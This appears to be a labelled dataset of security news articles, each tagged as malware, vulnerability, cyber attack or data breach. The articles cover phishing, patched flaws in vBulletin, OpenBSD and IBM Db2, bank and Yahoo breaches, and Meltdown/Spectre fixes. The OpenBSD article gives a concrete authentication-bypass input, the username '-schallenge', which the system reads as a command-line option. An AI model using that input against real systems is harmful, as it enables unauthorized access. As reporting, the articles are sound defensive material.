Hackers Are Targeting Facebook via spreading malware !,https://thehackernews.com/2011/02/hackers-are-targeting-facebook-via.html,"Facebook accounts are becoming favorite targets of hackers. If your account has been hacked, you could be in good company considering Facebook founder Mark Zuckerberg and French President Sarkozy have also been victims. Actually, thousands -- maybe millions -- of Facebook pages have been hacked. The hackers then use the accounts to send out erroneous messages to ""friends.""

One of your friends seems to have sent you a video or awesome photo or link, and suggests you click on it. The computer screen tells you to log in again to see the video or photo or quiz. But as soon as you sign in, you are giving your information to a hacking site, which now has your screen name and password.You probably would be suspicious of a strange e-mail in your inbox, but when you believe you are getting a link from a friend on a social network, you might not be so cautious.

You have actually been caught by one of the most common forms of hacking called ""phishing."" Recently estimated 1.5 million Facebook accounts are listed for sale on a website discovered by Verisign's iDefense Labs. The names were sold for as much as $45 for accounts with more than 10 friends. They are considered a way of spreading malware rather than strictly for identity theft.

People who find out that their Facebook accounts have been hacked, should immediately reset their passwords. They should also send Facebook a message, which will allow the company to look into the situation further.

",Malware
vBulletin Releases Patch Update for New RCE and SQLi Vulnerabilities,https://thehackernews.com/2019/10/vBulletin-hacking-exploit.html,"After releasing a patch for a critical zero-day remote code execution vulnerability late last month, vBulletin has recently published a new security patch update that addresses 3 more high-severity vulnerabilities in its forum software.

If left unpatched, the reported security vulnerabilities, which affect vBulletin 5.5.4 and prior versions, could eventually allow remote attackers to take complete control over targeted web servers and steal sensitive user information.

Written in PHP, vBulletin is a widely used proprietary Internet forum software package that powers over 100,000 websites on the Internet, including Fortune 500 and Alexa Top 1 million companies websites and forums.

Discovered by application security researcher Egidio Romano, the first vulnerability, tracked as CVE-2019-17132, is a remote code execution flaw, while the other two are SQL injection issues, both assigned a single ID as CVE-2019-17271.

vBulletin RCE and SQLi Flaws

The RCE flaw resides in the way vBulletin forum handles user requests to update avatars for their profiles, an icon or graphical representation of the user, allowing a remote attacker to inject and execute arbitrary PHP code on the target server through unsanitized parameters.

However, it should be noted that this vulnerability is not exploitable in the default installation of the vBulletin forum, rather exploitation is possible when ""Save Avatars as Files"" option is enabled by the website administrator.

Romano has also released a public proof-of-concept exploit for this RCE vulnerability.

The other two vulnerabilities are read in-band and time-based SQL injection issues that reside in two separate endpoints and could allow administrators with restricted privileges to read sensitive data from the database, which they otherwise may not be allowed to access.


Since these two SQL injection flaws can not be exploited by any registered user and require special permissions, vBulletin forum administrators and users need not to panic.

Security Patches Released

Romano responsibly reported all the vulnerabilities to the vBulletin project maintainers just last week on September 30, and the team acknowledged his findings and released the following security patch updates that address the reported flaws.


vBulletin 5.5.4 Patch Level 2
vBulletin 5.5.3 Patch Level 2
vBulletin 5.5.2 Patch Level 2


Administrators are highly recommended to apply the security patch before hackers started exploiting the vulnerabilities to target their forum users—just like someone did last week to steal login information of nearly 245,000 Comodo Forums users after the company failed to apply available patches on time.

",Vulnerability
Warning — Bitcoin Users Could Be Targeted by State-Sponsored Hackers,https://thehackernews.com/2016/08/bitcoin-software-hack.html,"Another day, another bad news for Bitcoin users.

A leading Bitcoin information site is warning users that an upcoming version of the Blockchain consolidation software and Bitcoin wallets could most likely be targeted by ""state-sponsored attackers.""

Recently, one of the world's most popular cryptocurrency exchanges, Bitfinex, suffered a major hack that resulted in a loss of around $72 Million worth of Bitcoins.

Now, Bitcoin.org, the website that hosts downloads for Bitcoin Core, posted a message on its website on Wednesday warning users that the next version of the Bitcoin Core wallet, one of the most popular bitcoin wallets used to store bitcoins, might be replaced with a malicious version of the software offered by government-backed hackers.

Specifically, Chinese bitcoin users and services are encouraged to be vigilant ""due to the origin of the attackers.""

Bitcoin.org doesn't believe it has sufficient resources to defend against the attack. However, the website did not reveal the name of the country planning the attack.

The Warning Message from the Bitcoin.org site reads:
""Bitcoin.org has reason to suspect that the binaries for the upcoming Bitcoin Core release will likely be targeted by state-sponsored attackers. As a website, Bitcoin.org does not have the necessary technical resources to guarantee that we can defend ourselves from attackers of this calibre. We ask the Bitcoin community, and in particular the Chinese Bitcoin community to be extra vigilant when downloading binaries from our website.""
""In such a situation, not being careful before you download [the software] could cause you to lose all your coins. This malicious software might also cause your computer to participate in attacks against the Bitcoin network.""
Also Read: Bitcoin Exchange Offers $3.5 Million Reward for Information of Stolen Bitcoins.

In such cases, it is likely that hackers will try to hijack and replace the official binary files used to run Bitcoin software on mining pools, either:

By compromising the Bitcoin.org official site
By conducting a man-in-the-middle attack to fake a cryptographic certificate that would allow hackers to intercept victim's encrypted HTTPS connection and replace the legitimate download with a malicious one, tricking users into installing a malicious version of the Bitcoin software.

However, Bitcoin Core developer Eric Lombrozo told The Reg that ""there's absolutely nothing in the Bitcoin Core binaries, as built by the Bitcoin Core team, that has been targeted by state-sponsored attackers that we know of at this point.""

""Perhaps certain sites where people download the binaries could end up getting compromised, but let's not unnecessarily spread paranoia about the Bitcoin Core binaries themselves.""

Verify Signatures and Hashes

As a countermeasure, users are recommended to verify the Signature securely and hashes of Bitcoin Core binaries that are cryptographically signed with a key before running Bitcoin Core binaries to ensure the binaries are legitimate as being created by the Core developers team.
""We strongly recommend that you download that key, which should have a fingerprint of 01EA5486DE18A882D4C2684590C8019E36C2E964. You should securely verify the signature and hashes before running any Bitcoin Core binaries,"" the advisory states.
Moreover, you are advised to download the binaries from the official Bitcoin site only; otherwise, you may end up getting compromised.

",Cyber_Attack
"Indian Banks may switch to Linux, rather than taking extended Windows XP Support",https://thehackernews.com/2014/03/indian-banks-switching-to-linux-rather.html,"As we have reported you earlier that Microsoft is pulling out their Windows XP support after April 8 2014. Since a vast majority of bank ATMs around the world currently runs on Windows XP, but if they'll continue sticking to it after the deadline, then they'll be exposed to all kinds of security threats, as Microsoft will no longer provide the security patches thereafter.

Many countries' Banks have got a way out, many banks have arranged or are in the process of arranging extended support for Windows XP for which they are ready to pay Microsoft millions of dollars, but may be not in the case of India. Yes, India will never feed Microsoft for providing extra support to the older version; rather they could switch over to the Linux operating system.

India has around 115,000 ATMs across the country at present and the counts will go up in coming days, but the end of life for XP will not affect banks and functioning of ATMs as the financial institutions across the country are well prepared for life without the much popular OS, according to the Indian Banks Association (IBA).

ATMs will continue to run the outdated system for some time past the expiration date, thanks to Windows Embedded powering ATMs, cash registers. According to Microsoft, Windows XP Embedded is less susceptible to viruses, and the company is providing support for it until early 2016.

IBA says neither branches nor cash vending machines will be shut down once Microsoft stops support for the system from April 8. Many Banks have already moved to Windows 7, or are in the process of moving, which will require hardware upgrades and some are considering to choose Linux. These hardware upgrades and software enhancements might be a costly headache for ATM manufacturers and banks, but the improvements are a win for customers who use these machines on a daily basis.

""Banks are definitely well-prepared and the industry is seized of the matter. I am very sure that you will not see a problem where ATMs or bank counters are shut because of this,"" said the industry lobby's chief executive MV Tanksale at an event in Mumbai. ""Only the old ATMs may face some problem as all the newer machines are running on newer platforms,"" he added.

Indian banks do not themselves operate their ATMs, rather outsource them to third-party vendors like Diebold and NCR.

Girish Chavan, national manager of Diebold said, ""all ATMs are not connected to the Internet so a hacker would need to reach it through the bank's network,....and to breach a bank's firewall is not easy."" But maybe firms are underestimating the tactics of hackers and cybercriminals, who are always one step ahead in hacking ATMs and defeating all current security mechanisms.

A few months back it was revealed at the Chaos Computing Congress that hackers in Europe are targeting ATM Machines using Malware-loaded USB drives to steal money.

The malware infection rate for Windows XP is already almost six times higher than Windows 8 systems. So, to switch on to the other operating system will benefit the organizations and financial institutions.

Moreover, Indian ATM manufacturer Vortex offers a low-power Linux based system called Ecoteller, for example, that's being used in developing countries.

The Reserve Bank of India had highlighted the issue on Tuesday, saying banking operations may be hit once the Windows XP gets phased out.

""Banks are definitely well prepared and the industry is seized of the matter. I am very sure that you will not see a problem where ATMs or bank counters are shut because of this,"" chief executive MV Tanksale said.

""The probability of attacks on such a system may increase and it may be difficult to defend such attacks in the absence of Microsoft support,"" RBI had said in a circular to banks.

The Tamil Nadu State Government's has recently advised all its departments to move on to free open source software BOSS Linux as a key benefit of it will ultimately be a huge saving to the government.

""Consider installing BOSS (Bharat Operating System Solutions) Linux as one of the mandatory operating system,"" said the order issued by the TN Information Technology Department. ""The huge investment cost involved in purchasing closed source software (such as Windows XP) may be avoided, which in turn translates into huge savings for the government,"" the order stated.

So, if your Bank is planning to upgrade their ATMs, should it be Windows 7/8 or Linux??

",Malware
"Hacker Who DDoSed Sony, EA and Steam Gaming Servers Pleads Guilty",https://thehackernews.com/2018/11/gaming-server-ddos-attack.html,"A 23-year-old hacker from Utah pleaded guilty this week to launching a series of denial-of-service (DoS) attacks against multiple online services, websites, and online gaming companies between 2013 and 2014.

According to a Justice Department (DoJ) press release, Austin Thompson, a.k.a. ""DerpTroll,"" took down servers of several major gaming platforms including Electronic Arts' Origin service, the Sony PlayStation network, and Valve Software's Steam, between December 2013 and January 2014, by flooding them with enough internet traffic.

Thompson then typically used the Twitter account the @DerpTrolling handle to announce his attacks, subsequently posting screenshots or other photos of the server being unavailable after launching DDoS attacks.

The attacks usually took down game servers and related computers of the victim companies for at least a few hours at a time, causing at least $95,000 in damages to the gaming companies around the world.

""Denial-of-service attacks cost businesses millions of dollars annually,"" said U.S. Attorney Adam Braverman while announcing the plea. ""We are committed to finding and prosecuting those who disrupt businesses, often for nothing more than ego.""

Thompson pleaded guilty in federal court in San Diego on Thursday and was charged with causing damages to a protected computer, which carries a maximum penalty of 10 years prison, a fine of $250,000, as well as three years supervised release.

Active since 2011, the DerpTrolling hacking group is believed to be operated by Thompson, who write malware used to launch the DDoS attacks against online services around the world.

However, the hacking group made headlines in late 2013 and early 2014 after disrupting online gaming servers owned by Sony, Riot Games, Microsoft, Nintendo, Valve, and Electronic Arts.

Thompson's sentencing is scheduled for March 1, 2019, before United States District Judge Jeffrey Miller.

It wasn't just DerpTrolling that created chaos in 2014. The infamous Lizard Squad hacking group also made headlines in 2014 by launching DDoS attacks against Microsoft Xbox Live and Sony PlayStation Network and knocking them offline during the Christmas holidays.

Several teenagers last year from around the world were charged with participating in the Lizard Squad 2014 DDoS attacks.

",Cyber_Attack
Yahoo! Hack! How It Took Just One-Click to Execute Biggest Data Breach in History,https://thehackernews.com/2017/03/yahoo-data-breach-hack.html,"In the digital world, it just takes one click to get the keys to the kingdom.

Do you know spear-phishing was the only secret weapon behind the biggest data breach in the history?

It's true, as one of the Yahoo employees fell victim to a simple phishing attack and clicked one wrong link that let the hackers gain a foothold in the company's internal networks.

You may be familiar with phishing attacks — an attempt to steal user credentials or financial data — while, Spear-phishing is a targeted form of phishing in which attackers trick employees or vendors into providing remote-access credentials or opening a malicious attachment containing an exploit or payload.

Here's how the Yahoo's massive data breach was traced back to human error and who were the alleged masterminds behind this hack.

On Wednesday, the US government charged two Russian spies (Dmitry Dokuchaev and Igor Sushchin) and two criminal hackers (Alexsey Belan and Karim Baratov) in connection with the 2014 Yahoo hack that compromised about 500 million Yahoo user accounts.

While the indictment provided details on the 2014 Yahoo hack, the FBI officials recently gave a fresh insight into how the two officers from the Russian Federal Security Service (FSB) hired two hackers to gained initial access to Yahoo in early 2014.

Here's How the Yahoo Hack Initiated:

The hack began with a ""Spear Phishing"" e-mail sent to a ""semi-privileged"" Yahoo employees and not the company's top executives early in 2014.

Although it is unclear how many Yahoo employees were targeted in the attack and how many emails were sent by the hackers, it only takes one employee to click on either a malicious attachment or a link, and it gave attackers direct access to Yahoo's internal networks.
Russian Spies HIRED Cyber Criminals to Hack Into Yahoo Servers; Here's How They Did It.
CLICK TO TWEET
Once in, Alexsey Belan, who is already on the FBI's Most Wanted Hackers list, started poking around the network and, according to the FBI, discovered two key assets:
Yahoo's User Database (UDB) – a database containing personal information about all Yahoo users.
The Account Management Tool – an administrative tool used to edit the database.
Belan used the file transfer protocol (FTP) to download the Yahoo database, containing usernames, phone numbers, security questions and answers, and, what's worse, password recovery emails and a cryptographic value unique to each Yahoo account.

Recovery emails and unique cryptographic values enabled Belan and fellow hacker Baratov to access the accounts of certain users requested by the Russian spies, Dokuchaev and Sushchin.

Since the Account Management Tool did not allow for simple text searches of usernames, the hackers began identifying targets based on their recovery email address.

Once identified, the hackers then used stolen cryptographic values called ""nonces"" to generate forged access cookies for specific user accounts, giving both the FSB agents and Belan access to users' email accounts without the need for any password.

According to the FBI, those cookies were generated many times between 2015 and 2016 to access ""more than 6,500 Yahoo accounts,"" out of the roughly 500 million accounts.

Victims Targeted by the Russian Spies:

According to the indictment, among other foreign webmail and Internet-related service providers, the Russian spies accessed the Yahoo accounts belonging to:
An assistant to the deputy chairman of Russia.
An officer in Russia's Ministry of Internal Affairs.
A trainer working in Russia's Ministry of Sports.
Russian journalists.
Officials of states bordering Russia.
U.S. government workers.
An employee of a Swiss Bitcoin wallet company.
A U.S. airline worker.
FBI special agent John Bennett told a news conference that Yahoo first approached the bureau in 2014, regarding the hack and was ""great partners"" during its investigation.

However, the company took two years to go public in December 2016 with details of the data breach and advised hundreds of millions of its customers to change their passwords.

Baratov was arrested on Tuesday by the Toronto Police Department, while Belan and the two FSB officers are in Russia. The United States has requested all the three to be handed over to face charges, but the US has no extradition treaty with Russia.

",Data_Breaches
Dell Resets All Customers' Passwords After Potential Security Breach,https://thehackernews.com/2018/11/dell-data-breach-hacking.html,"Multinational computer technology company Dell disclosed Wednesday that its online electronics marketplace experienced a ""cybersecurity incident"" earlier this month when an unknown group of hackers infiltrated its internal network.

On November 9, Dell detected and disrupted unauthorized activity on its network attempting to steal customer information, including their names, email addresses and hashed passwords.

According to the company, the initial investigation found no conclusive evidence that the hackers succeeded to extract any information, but as a countermeasure Dell has reset passwords for all accounts on Dell.com website whether the data had been stolen or not.

Dell did not share any information on how hackers managed to infiltrate its network at the first place or how many user accounts were affected, but the company did confirm that payment information and Social Security numbers were not targeted.

""Credit card and other sensitive customer information were not targeted. The incident did not impact any Dell products or services,"" Dell says.

You are affected if you have ever created an account on the Dell website to purchase any of their products or to access the online support.
""Upon detection of the attempted extraction, Dell immediately implemented countermeasures and initiated an investigation. Dell also retained a digital forensics firm to conduct an independent investigation and has engaged law enforcement,"" the company said.
We will update this story as more information becomes available.
",Data_Breaches
Ecuador Bank Hacked — $12 Million Stolen in 3rd Attack on SWIFT System,https://thehackernews.com/2016/05/swift-banking-hack.html,"Bangladesh is not the only bank that had become victim to the cyber heist. In fact, it appears to be just a part of the widespread cyber attack on global banking and financial sector by hackers who target the backbone of the world financial system, SWIFT.

Yes, the global banking messaging system that thousands of banks and companies around the world use to transfer Billions of dollars in transfers each day is under attack.

A third case involving SWIFT has emerged in which cyber criminals have stolen about $12 million from an Ecuadorian bank that contained numerous similarities of later attacks against Bangladesh's central bank that lost $81 Million in the cyber heist.

The attack on Banco del Austro (BDA) in Ecuador occurred in January 2015 and, revealed via a lawsuit filed by BDA against Wells Fargo, a San Francisco-based bank on Jan. 28, Reuters reported.

Here's how cyber criminals target banks:
Uses malware to circumvent local security systems of a bank.
Gains access to the SWIFT messaging network.
Sends fraudulent messages via SWIFT to initiate cash transfers from accounts at larger banks.
Over ten days, hackers used SWIFT credentials of a bank employee to modify transaction details for at least 12 transfers amounting to over $12 Million, which was transferred to accounts in Hong Kong, Dubai, New York and Los Angeles.

In the lawsuit, BDA holds Wells Fargo responsible for not spotting the fraudulent transactions and has demanded Wells Fargo to return the full amount that was stolen from the bank.

The lawsuit filed by BDA in a New York federal court described that the some of these attacks could have been prevented if banks would have shared more details about the attacks with the SWIFT organization.
Wells Fargo has also fired back and blamed BDA's information security policies and procedures for the heist and noted that it ""properly processed the wire instructions received via authenticated SWIFT messages,"" according to court documents.
According to reports, the heist remained a secret for a long time and now disclosed when BDA decided to sue Wells Fargo that approved the fraudulent transfers.

SWIFT did not have any idea about the breach, as neither BDA nor Wells Fargo shared any detail about the attack.
""We were not aware,"" SWIFT said in a statement. ""We need to be informed by customers of such frauds if they relate to our products and services so that we can inform and support the wider community. We have been in touch with the bank concerned to get more information, and are reminding customers of their obligations to share such information with us.""
It turns out that the security of SWIFT itself was not breached in the attack, but cyber criminals used advanced malware to steal credentials of bank's employees and cover their tracks.

In February, $81 Million cyberheist at the Bangladesh central bank was carried out by hacking into SWIFT using a piece of malware that manipulated logs and erased the fraudulent transactions history, and even prevented printers from printing those transactions.

",Cyber_Attack
Android Trojan GingerMaster Uses Gingerbread Root Exploit,https://thehackernews.com/2011/08/android-trojan-gingermaster-uses.html,"Android Trojan GingerMaster Uses Gingerbread Root Exploit
As our smartphones become more ubiquitous and more powerful, they need to be protected in much the same way that you would protect your computer. Further to this, a malicious piece of malware has been discovered for devices powered by Android 2.3.3 Gingerbread, giving the hacker the ability to take complete control of the smartphone remotely. According to Assistant Professor Xuxian Jiang from the NCSU Department of Computer Science, the new threat, which his team has dubbed GingerMaster, is the first malware to use the root exploit for Android 2.3. ""As this is the first time such malware has been identified, it is not surprising when our experiments show that it can successfully evade the detection of all tested (leading) mobile anti-virus software,"" he writes.

Once the GingerMaster malware is installed and has root privileges, it then reaches out to a remote command-and-control server and asks for instructions. It then has the ability to download and install apps on its own, without the user's permission, Jiang found. GingerMaster is an evolution of the existing DroidKungFu malware, which had some of the same functionality. Earlier this week, Jiang's team also found other variants of DroidKungFu in several dozen infected apps in alternate Android app stores. That version included a couple of root exploits as well, but for earlier versions of Android.

As far as we can tell, no ""official"" applications being offered through Android Market have been affected by GingerMaster, but it's best to err on the side of caution when it comes to these things. Recognize that your Android smartphone is very much a computer and, as such, is just as vulnerable to attacks as your home PC. The researchers recommend that users take several steps to protect themselves. The first one is to run a mobile antivirus product. There are several free solutions available from vendors like Lookout, AVG, BitDefender or Symantec.Then, users should only download apps from trusted marketplaces, like the official Android Market. Unfortunately, there is no assurances that malware won't slip through the cracks and appear on these services from time to time, but the chances are lower than in other places.Finally, users should make a habit from reading and understanding the permissions requested by apps on installation. Trojanized apps will usually require permissions that legit versions wouldn't need.

",Malware
Malware that transfers stolen data using Inaudible Audio signals,https://thehackernews.com/2013/12/Malware-Inaudible-Audio-signals-badbios-virus.html,"If you think that a computer which is not connected to a network, doesn't have any USB sticks attached to it and doesn't accept any kind of electronic connection requests are reasonably safe against hackers and from all the malware, then you are Wrong.
Here we have something shocking update that Some German Scientists have developed a proof of concept Malware prototype, could allow a hacker to infect your computers and other digital devices just using Inaudible Audio signals.

The ability to bridge an air gap could be a potent infection vector. Just imagine, a cyber attack using high-frequency sound waves to infect machines, where stolen data also can be transferred back to attacker without a network connection, Sounds very terrifying ?

When a few weeks ago, a security researcher Dragos Ruiu claimed malware dubbed badBIOS allowed infected machines to communicate using sound waves alone, means that the devices are physically disconnected from any networks, including the internet, people said he was crazy.
But Now German Researchers have published a paper on how malware can be designed to cross the air gap by transmitting information through speakers and recording it via microphone.

Rather than relying on TCP-IP, they used a network stack originally developed for underwater communication and the signal was propagated through the use of a software-defined modem based on the GNU Radio project.

In a scenario based hacking, ""The infected victim sends all recorded keystrokes to the covert acoustical mesh network. Infected drones forward the keystroke information inside the covert network till the attacker is reached, who is now able to read the current keyboard input of the infected victim from a distant place."" paper explained.
In another scenario, the researchers used sound waves to send keystroke information to a network-connected computer, which then sent the information to the attacker via email.

While the research doesn't prove Dragos Ruiu's badBIOS claims, but it does show that even if the system is disconnected from any network, could still be vulnerable to attackers. However, I would like to appreciate Dragos dedication about badBIOS research because this extraordinary concept was first introduced by him only.

Researchers POC Malware is able to transfer data at 20 bits per second only, which is very low, but that's still capable of transferring your password or credit card number to the hacker in a few seconds.

Some basic countermeasures one can adopt to protect against such malware are:
Switching off the audio input and output devices from the system.
Employ audio filtering that blocks high-frequency ranges.
Using an Audio Intrusion Detection Guard.
Lets see how Antivirus companies will handle such threats to protect home users.

",Malware
Severe Auth Bypass and Priv-Esc Vulnerabilities Disclosed in OpenBSD,https://thehackernews.com/2019/12/openbsd-authentication-vulnerability.html,"OpenBSD, an open-source operating system built with security in mind, has been found vulnerable to four new high-severity security vulnerabilities, one of which is an old-school type authentication bypass vulnerability in BSD Auth framework.

The other three vulnerabilities are privilege escalation issues that could allow local users or malicious software to gain privileges of an auth group, root, as well as of other users, respectively.

The vulnerabilities were discovered and reported by Qualys Research Labs earlier this week, in response to which OpenBSD developers released security patches for OpenBSD 6.5 and OpenBSD 6.6 just yesterday—that's in less than 40 hours.

Here's a brief explanation of all four security vulnerabilities in OpenBSD—a free and open-source BSD-based Unix-like operating system—along with their assigned CVE identifiers

OpenBSD Authentication Bypass (CVE-2019-19521)

The authentication bypass vulnerability resides in the way OpenBSD's authentication framework parses the username supplied by a user while logging in through smtpd, ldapd, radiusd, su, or sshd services.

Using this flaw, a remote attacker can successfully access vulnerable services with any password just by entering the username as ""-schallenge"" or ""-schallenge: passwd,"" and it works because a hyphen (-) before username tricks OpenBSD into interpreting the value as a command-line option and not as a username.


Here, OpenBSD's authentication framework interprets ""-schallenge"" as ""-s challenge,"" which forces the system into silently ignoring the challenge protocol that eventually bypasses the authentication automatically.

""If an attacker specifies a username of the form '-option', they can influence the behavior of the authentication program in unexpected ways,"" the advisory said.

According to the researchers, this vulnerability is practically exploitable in smtpd, ldapd, and radiusd, but not in sshd or su due to their defense-in-depth mechanisms that hang the connection even after successful authentication bypass.

However, one can still remotely exploit the flaw against sshd to determine whether an OpenBSD system is vulnerable to CVE-2019-19521 or not.

OpenBSD Local Privilege Escalation Flaws


As described above, the other OpenBSD vulnerabilities are local privilege escalation issues as briefly explained below:


CVE-2019-19520: Due to the mishandling of environment-provided paths used in dlopen(), xlock, which comes installed by default on OpenBSD, could allow local attackers to escalate privileges to 'auth' group.
CVE-2019-19522: Due to incorrect operation of authorization mechanisms via ""S/Key"" and ""YubiKey,"" which is a non-default configuration, a local attacker with 'auth' group permission can gain full privileges of the root user.
CVE-2019-19519: Due to a logical error in one of the su's primary functions, a local attacker can achieve any user's login class, often excluding root, by exploiting su's -L option.


Qualys researchers have also released proof-of-concept exploits for each vulnerability in its advisory.

Since patches for all four security vulnerabilities are now available, affected OpenBSD users recommended to install patches using syspatch mechanism.
",Vulnerability
Anti-DDoS Services Abused to Carry Out DDoS Attack with 1.5 Billion Requests/Minute,https://thehackernews.com/2014/05/anti-ddos-services-abuse-to-ddos-at-15.html,"Till Now the Internet was encountering the traditional Distributed Denial of Service (DDoS) attacks, where a large number of compromised systems use to flood servers with tremendous amount of bandwidth; but in past few months we have noticed massive change in the techniques of DDoS attack.

Hackers are using creative, but evil DDoS techniques such as NTP and DNS Amplification DDoS attacks. Last month we have seen that how cybercriminals abused a vulnerability in one of the biggest Chinese video hosting website Sohu.com to convert their millions of visitors to participate into the Layer 7 (Application Layer) DDoS attack with 20 Million requests.

According to the new report released by a US based security solutions provider Incapsula, another interesting DDoS attack activities have been noticed by the researchers in which an attacker abused two major anti-DDoS Service providers to perform massive DDoS attack on other websites.

Its really EPIC that the services who should protect websites from DDoS attack, itself compromised to perform DDoS on other web services.

The researchers at the security firm noticed a surge of massive DNS DDoS attack on one of its client, peaking at approximately 25Mpps (Million packets per second).

""With multiple reports coming from different directions, and with several large scale attacks on our own infrastructure, we are now convinced that what we are seeing here is an evolving new trend - one that can endanger even the most hardened network infrastructures,"" reads the report.

This time, hacker used the DNS DDoS attack, which is totally different and more responsive from the previously most commonly used DNS amplification attack by the hackers, both in their methods of execution and in the type of trouble they aim to deliver.

DNS amplification attack is an asymmetrical DDoS attack in which the attacker set the source address to that of the targeted victim by using spoofed Internet Protocol (IP) of the target, which means the target receives the replies from all the DNS servers that are used, making it the recipient of much larger DNS responses. ""With these attacks the offender's goal is to achieve network saturation by continuously exhausting the target's bandwidth capacity,"" Incapsula wrote.

But its totally different in the case of DNS DDoS attack as DNS floods are symmetrical DDoS attacks in which the attacker tries to exhaust the server-side assets (for e.g., memory or CPU) with the large number of UDP requests generated by the malicious scripts running on several compromised botnet machines. The packets sends per seconds are even larger in this case compare to DNS amplification attack.

""With DNS amplification, the effectiveness of an attacker's own resources is increased by anywhere from 300% to 1000%, which means that large attacks could be initiated by relatively small botnets"", says the report. ""On the other hand, with DNS floods there is no multiplier to speak of at all. This means that, in order to generate a DNS flood at the rate of 25Mpps, the offender needs access to an equally powerful botnet infrastructure.""
By using the same DNS DDoS attack, the hacker succeeded in sending the malicious requests through two different servers at a rate of 1.5 Billion DNS queries per minute, amounting to over 630 Billion requests during the course of the 7 hour-long DDoS attack.

Both the servers used by the attacker belongs to anti-DDoS service providers, one of which is based in Canada and the other in China. After acknowledging the attack, Incapsula informed both the anti-DDoS vendors, which then dropped the responsible clients from using their services.

""Malicious misuse of security solutions is anything but new. However, this is the first time we encountered ""rogue"" scrubbing servers used to carry out large-scale DDoS attacks. This fact, combined with the inherit danger of non-amplified DNS floods, is what makes these attacks so devastatingly dangerous,"" the researchers said.

DNS Amplification DDoS attack could be defended by dropping all unexpected DNS responses to port 53, whereas DNS Flood queries are difficult to differentiate from the legitimate DNS queries, and it is not possible to drop all DNS queries in order to migrate the attack. However this could be filtered when individually processed at the server level, but such process is practically very difficult to execute. Thankfully, the Impact of DNS Flood attack depends upon the capacity of the attacker's own resources.

As we all have seen that DDoS trend is changing and to perform massive DDoS attacks, hacker are using every tantrum by leveraging the weakness of different protocols and boosting the sizes of Distributed Denial of Service (DDoS) attack.

",Vulnerability
Experts Reported Security Bug in IBM's Db2 Data Management Software,https://thehackernews.com/2020/08/ibm-data-management.html,"Cybersecurity researchers today disclosed details of a memory vulnerability in IBM's Db2 family of data management products that could potentially allow a local attacker to access sensitive data and even cause a denial of service attacks.

The flaw (CVE-2020-4414), which impacts IBM Db2 V9.7, V10.1, V10.5, V11.1, and V11.5 editions on all platforms, is caused by improper usage shared memory, thereby granting a bad actor to perform unauthorized actions on the system.

By sending a specially crafted request, an attacker could exploit this vulnerability to obtain sensitive information or cause a denial of service, according to Trustwave SpiderLabs security and research team, which discovered the issue.

""Developers forgot to put explicit memory protections around the shared memory used by the Db2 trace facility,"" SpiderLabs's Martin Rakhmanov said. ""This allows any local users read and write access to that memory area. In turn, this allows accessing critically sensitive data as well as the ability to change how the trace subsystem functions, resulting in a denial of service condition in the database.""

IBM released a patch on June 30 to remediate the vulnerability.


CVE-2020-4414 is caused by the unsafe usage of shared memory the Db2 trace utility employs to exchange information with the underlying OS on the system.

The Db2 trace utility is used to record Db2 data and events, including reporting Db2 system information, collecting data required for performance analysis and tuning, and capture data access audit trail for security purposes.

Given that the shared memory stores sensitive information, an attacker with access to the system could create a malicious application to overwrite the memory with rogue data dedicated to tracing data.

""This means that an unprivileged local user can abuse this to cause a denial of service condition simply by writing incorrect data over that memory section,"" Rakhmanov said.

Even more concerning, a low-privileged process running on the same computer as the Db2 database could alter Db2 trace and capture sensitive data and use the information to carry out other attacks.

If the flaw sounds familiar, that's because it's the same type of memory leakage vulnerability that impacted Cisco's WebEx video conferencing service (CVE-2020-3347) that could local authenticated attackers to get hold of usernames, authentication tokens, and meeting information.

It's recommended that Db2 users update their software to the latest version to mitigate the risk.

",Vulnerability
[Guide] How to Protect Your Devices Against Meltdown and Spectre Attacks,https://thehackernews.com/2018/01/meltdown-spectre-patches.html,"Recently uncovered two huge processor vulnerabilities called Meltdown and Spectre have taken the whole world by storm, while vendors are rushing out to patch the vulnerabilities in its products.

The issues apply to all modern processors and affect nearly all operating systems (Windows, Linux, Android, iOS, macOS, FreeBSD, and more), smartphones and other computing devices made in the past 20 years.

What are Spectre and Meltdown?

We have explained both, Meltdown (CVE-2017-5754) and Spectre (CVE-2017-5753, CVE-2017-5715), exploitation techniques in our previous article.

In short, Spectre and Meltdown are the names of security vulnerabilities found in many processors from Intel, ARM and AMD that could allow attackers to steal your passwords, encryption keys and other private information.

Both attacks abuse 'speculative execution' to access privileged memory—including those allocated for the kernel—from a low privileged user process like a malicious app running on a device, allowing attackers to steal passwords, login keys, and other valuable information.

Protect Against Meltdown and Spectre CPU Flaws

Some, including US-CERT, have suggested the only true patch for these issues is for chips to be replaced, but this solution seems to be impractical for the general user and most companies.

Vendors have made significant progress in rolling out fixes and firmware updates. While the Meltdown flaw has already been patched by most companies like Microsoft, Apple and Google, Spectre is not easy to patch and will haunt people for quite some time.

Here's the list of available patches from major tech manufacturers:

Windows OS (7/8/10) and Microsoft Edge/IE

Microsoft has already released an out-of-band security update (KB4056892) for Windows 10 to address the Meltdown issue and will be releasing patches for Windows 7 and Windows 8 on January 9th.

But if you are running a third-party antivirus software then it is possible your system won't install patches automatically. So, if you are having trouble installing the automatic security update, turn off your antivirus and use Windows Defender or Microsoft Security Essentials.
""The compatibility issue is caused when antivirus applications make unsupported calls into Windows kernel memory,"" Microsoft noted in a blog post. ""These calls may cause stop errors (also known as blue screen errors) that make the device unable to boot.""

Apple macOS, iOS, tvOS, and Safari Browser

Apple noted in its advisory, ""All Mac systems and iOS devices are affected, but there are no known exploits impacting customers at this time.""

To help defend against the Meltdown attacks, Apple has already released mitigations in iOS 11.2, macOS 10.13.2, and tvOS 11.2, has planned to release mitigations in Safari to help defend against Spectre in the coming days.

Android OS

Android users running the most recent version of the mobile operating system released on January 5 as part of the Android January security patch update are protected, according to Google.

So, if you own a Google-branded phone, like Nexus or Pixel, your phone will either automatically download the update, or you'll simply need to install it. However, other Android users have to wait for their device manufacturers to release a compatible security update.

The tech giant also noted that it's unaware of any successful exploitation of either Meltdown or Spectre on ARM-based Android devices.

Firefox Web Browser

Mozilla has released Firefox version 57.0.4 which includes mitigations for both Meltdown and Spectre timing attacks. So users are advised to update their installations as soon as possible.
""Since this new class of attacks involves measuring precise time intervals, as a partial, short-term mitigation we are disabling or reducing the precision of several time sources in Firefox,"" Mozilla software engineer Luke Wagner wrote in a blog post.

Google Chrome Web Browser

Google has scheduled the patches for Meltdown and Spectre exploits on January 23 with the release of Chrome 64, which will include mitigations to protect your desktop and smartphone from web-based attacks.

In the meantime, users can enable an experimental feature called ""Site Isolation"" that can offer some protection against the web-based exploits but might also cause performance problems.
